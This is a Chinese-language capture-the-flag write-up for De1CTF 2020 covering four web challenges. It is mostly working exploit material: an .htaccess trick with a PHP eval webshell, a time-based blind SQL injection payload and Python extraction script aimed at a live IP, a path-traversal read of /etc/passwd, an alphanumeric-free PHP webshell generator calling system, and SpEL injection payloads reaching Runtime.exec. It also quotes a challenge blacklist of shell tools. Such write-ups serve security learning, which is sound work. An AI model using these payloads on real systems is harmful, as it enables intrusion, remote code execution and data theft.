de1ctf2020

de1ctf 2020

check in

1
perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet in contents!

测试发现:禁止ph结尾后缀,但是可以上传.htaccess

上传.htaccess

1
2
AddType application/x-httpd-p\
hp .jpg

上传test.jpg

1
<?=eval($_POST[0]);
1
De1ctf{cG1_cG1_cg1_857_857_cgll111ll11lll}

mixture

1
2
3
4
5
6
index.php
profile.php
select.php
member.php
admin.php
logout.php

除了admin其他用户不会检查密码

神奇的注释

1
2
index.php:<!------ Include the above in your HEAD tag ---------->
member.php:<!--orderby-->

后来学长说member.php的orderby参数可以注入,我是有点不信的,后来想想自己没测出来也是正常的:

  1. 我不知道orderby会将输入放在sql语句的位置
  2. 不知道有没有waf,无法确认waf是否存在

image697

。。。我应该fuzz一下的

黑名单:

1
2
if
union

最后的payload:

1
http://134.175.185.244/member.php?orderby=AND case when (ASCII(SUBSTRING((SELECT USER()),1,1)))=1 then BENCHMARK(100000,MD5(NOW())) ELSE 2 END

盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests
import time
#修改bigger和sqlinj就好


#实现bigger才能使用
def findByDichotomy(begin,end):
max_num=end
while True:
mid=int((begin+end)/2)
if begin==max_num:
return False
if begin==end:
return begin
if end-begin==1:
if bigger(begin):
return end
else:
return begin
if bigger(mid):
begin=mid+1
else:
end=mid

#待求数据大于num
def bigger(num):
return sqlinj(num)
def less(num):
pass
def equal(num):
pass

def sqlinj(num):

burp0_url = "http://134.175.185.244:80/member.php"
param={"orderby":"AND case when (ASCII(SUBSTRING((select group_concat(table_name) from information_schema.tables where table_schema=database()),{POS},1)))>{GUESS} then BENCHMARK(100000,MD5(NOW())) ELSE 2 END".format(POS=pos,GUESS=num)}
burp0_cookies = {"PHPSESSID": "p781mlp8a9sp3ggrf1solslvn3"}
burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
try :
requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies,params=param,timeout=2)
except Exception:
return True
print("test ",num)
return False


result=""
pos=len(result)+1
while True:
num=findByDichotomy(32,128)
if num is False:
print(result)
break
result+=chr(num)
print(result)
pos+=1
1
2
3
4
member,users
users:id,username,money
member:id,username,password
admin 18a960a3a0b3554b314ebe77fe545c85

在cmd5上找到密码: goodlucktoyou

打开admin是一个phpinfo

search是一个类似文件包含的东东

但是很多都不行如/etc/passwd等等

fuzz后得到源码

select.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
include "profile.php";
$search = $_POST['search'];

if($_SESSION['admin']==1){
print <<<EOT
<form class="form" action="select.php" method="post">
<div class="form-group">
<label for="disabledTextInput">You can search anything here!!</label></br>
<input type="text" name="search" id="fromgo" class="form-control">
</div>
</div>
<div class="form-group">
<input type="submit" name="submit" class="btn btn-info btn-md" value="submit">
</div>
</form>
EOT;
}
else{
print <<<EOT
<div class="container">
<div class="row" >
<div class="col-md-10 col-md-offset-4">
<div class="input-group" display:block;margin:0 auto;>
<button class="btn btn-info btn-search " type="button" >You are not admin or not enough money!</button>
</span>

</div><!-- /input-group -->
</div><!-- /.col-lg-6 -->
</div>
</div>
EOT;
}
if($_SESSION['admin']==1&&!empty($search)){
//var_dump(urldecode($search));
Minclude(urldecode($search));
//lookup($search);
}

admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include "profile.php";
session_start();
if(empty($_SESSION['user'])){
header("location: index.php");
}
if($_SESSION['admin']==1){
phpinfo();
}
else{
print <<<EOT
<div class="row">
<div class="col-md-6 col-md-offset-4">You are not admin!!!!</div>
</div>
EOT;

}

member.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
include "profile.php";
include "config.php";
$orderby = $_GET['orderby'];
?>

<?php
print <<<EOT
<div class="table-responsive">
<table class="table">
<!--orderby-->
<caption>ALLmember</caption>
<thead>
<tr>
<th>id</th>
<th>username</th>
<th>money</th></tr>
</thead>
<tbody>
EOT;
if(!empty($orderby)){
$blacklist = "/if|desc|sleep|rand|updatexml|\^|union|\|\||&&|regexp|exp|extractvalue|length|hex/i";
if(preg_match($blacklist, $orderby))
exit("No~~hacker!");
$sql = "SELECT * FROM users order by id ".$orderby;
$result = $mysqli->query($sql);
if($result===false){
$sql="SELECT * FROM users";
}
}
else{
$sql = "SELECT * FROM users";
}
$result = $mysqli->query($sql);
/* free result set */
while($row = $result->fetch_row()){
//var_dump($row);
print <<<EOT
<tr>
<td>$row[0]</td>
<td>$row[1]</td>
<td>$row[2]</td></tr>
<tr>
EOT;
}
$result->free();
$mysqli->close();
print <<<EOT
</tbody>
</table>
</div>
EOT;

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php
error_reporting(0);
include "config.php";
session_start();
if(!empty($_SESSION['user'])){
header("location: /profile.php");
}
session_start();
$username = $_POST['username'];
$password = $_POST['password'];
if(!empty($username)&&!empty($password)){
if($username==='admin')
{
$sql = "select password from member";
$result = $mysqli->query($sql);
$row = $result->fetch_row();
if($row[0]===md5($password)){
$_SESSION['user']='admin';
$_SESSION['admin']=1;
header("location: /profile.php");
}
else{
echo "<script>alert('nononon,admin password not right')</script>";
}
}
else{
$_SESSION['user']='guest';
$_SESSION['admin']=0;
header("location: /profile.php");
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>profile</title>
<link href="static/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<script src="static/bootstrap.min.js"></script>
<script src="static/jquery.min.js"></script>
<style>
.fakeimg {
height: 200px;
background: #aaa;
}
</style>
</head>
<!------ Include the above in your HEAD tag ---------->
<body>
<div id="login">
<div class="container">
<div id="login-row" class="row justify-content-center align-items-center">
<div id="login-column" class="col-md-6">
<div id="login-box" class="col-md-19">
<form id="login-form" class="form" action="index.php" method="post">
<h3 class="text-center text-info">Login</h3>
<div class="form-group">
<label for="username" class="text-info">Username:</label><br>
<input type="text" name="username" id="username" class="form-control">
</div>
<div class="form-group">
<label for="password" class="text-info">Password:</label><br>
<input type="password" name="password" id="password" class="form-control">
</div>
<div class="form-group">
<input type="submit" name="submit" class="btn btn-info btn-md" value="submit">
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</body>

emm,Minclude是什么神奇的东西

image8380

fuzz后发现其实是读取内存里的内容

fuzz得到/readflag,从中可知flag在/flag中

image8517

但是要运行的话,那就必须拿到shell,还是说flag在这个程序里

现有以下几种想法:

  1. 利用/proc/xx/cwd/flag来拿到flag但是,fuzz到10000还没有
  2. 从内存中直接拿到flag(好像不行)
  3. 从程序中拿到flag(不会,也不清楚行不行)
  4. 拿到shell(没思路)
  5. Minclude有洞(没找到)

再见

em?

../../../../../../../../../../../../../../../../../../../../../../../etc/passwd

这样也能读取文件,有没有机会文件包含?

Hard_Pentest_1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
//Clear the uploads directory every hour
highlight_file(__FILE__);
$sandbox = "uploads/". md5("De1CTF2020".$_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if($_POST["submit"]){
if (($_FILES["file"]["size"] < 2048) && Check()){
if ($_FILES["file"]["error"] > 0){
die($_FILES["file"]["error"]);
}
else{
$filename=md5($_SERVER['REMOTE_ADDR'])."_".$_FILES["file"]["name"];
move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
echo "save in:" . $sandbox."/" . $filename;
}
}
else{
echo "Not Allow!";
}
}

//内容限制:preg_match('/[a-z0-9;~^`&|]/is',$file_content)==false
//后缀限制:不能为:php,不包含..

function Check(){
$BlackExts = array("php");
$ext = explode(".", $_FILES["file"]["name"]);
$exts = trim(end($ext));
$file_content = file_get_contents($_FILES["file"]["tmp_name"]);

if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content) &&
!in_array($exts, $BlackExts) &&
!preg_match('/\.\./',$_FILES["file"]["name"])) {
return true;
}
return false;
}
?>

<html>
<head>
<meta charset="utf-8">
<title>upload</title>
</head>
<body>

<form action="index.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="submit">
</form>

</body>
</html>


第一步绕过后缀名:.phP

第二步绕过文件内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
$a = 'A';
$b = 'SYSTEM';//$b = 'readfile';
$c = "POST";
$vv = '__';
$v = '_';
function fuck($b){
$data = '';
$a = 'A';
$vv = '__';
$v = '_';
for ($i = 0; $i < strlen($b); $i++) {
if (ord($b[$i]) >= ord('a') && ord($b[$i]) <= ord('z')) {
$data .= '($' . $v . '=$____),';
for ($a = ord('a'); $a < ord($b[$i]); $a++) {
$data .= '($' . $v . '++),';
}
} else if (ord($b[$i]) >= ord('A') && ord($b[$i]) <= ord('Z')) {
$data .= '($' . $v . '=$___),';
for ($a = ord('A'); $a < ord($b[$i]); $a++) {
$data .= '($' . $v . '++),';
}
} else {
$data .= '$' . $v . '="' . $b[$i] . '";';
}
$data .= '($' . $vv . '.=$' . $v.'),';
}
return $data;
}
$a='<?=[($_=[]),($_=@"$_"),($___=$_[("!"!="!")]),($____=$_[("!"=="!")+("!"=="!")+("!"=="!")]),'.fuck($b).'$_____=$__]?>';//system
$a.='<?=[($__="_"),($_=[]),($_=@"$_"),'.fuck($c).'$_]?>';//_POST
$a.='<?=[($_____($$__[_]))]?>';
echo $a;

calc

1
2
GET /spel/calc?calc='1'%2b'1' => 11
GET /spel/calc?calc='1'.length {"timestamp":"2020-05-05T07:23:42.244+0000","status":500,"error":"Internal Server Error","message":"EL1008E: Property or field 'length' cannot be found on object of type 'java.lang.String' - maybe not public or not valid?","path":"/spel/calc"}

谷歌一段时间后发现这里使用spel(Spring 表达式语言 Spring Expression Language )来计算的

黑名单:getClass,String,#,new,T(,reader

1
''.class.forName('java.l'%2b'ang.Ru'%2b'ntime').getMethod('ex'%2b'ec',''.class)

原本想那shell的后来看到OpenRASP,想想还是直接读取文件方便一点

构造payload:

neW+java.io.RandomAccessFile('/flag','r').readLine()

SpEL中除了java.lang下的类,其他的类在实例化的是否需要完整的包名

flag:De1CTF{NobodyKnowsMoreThanTrumpAboutJava}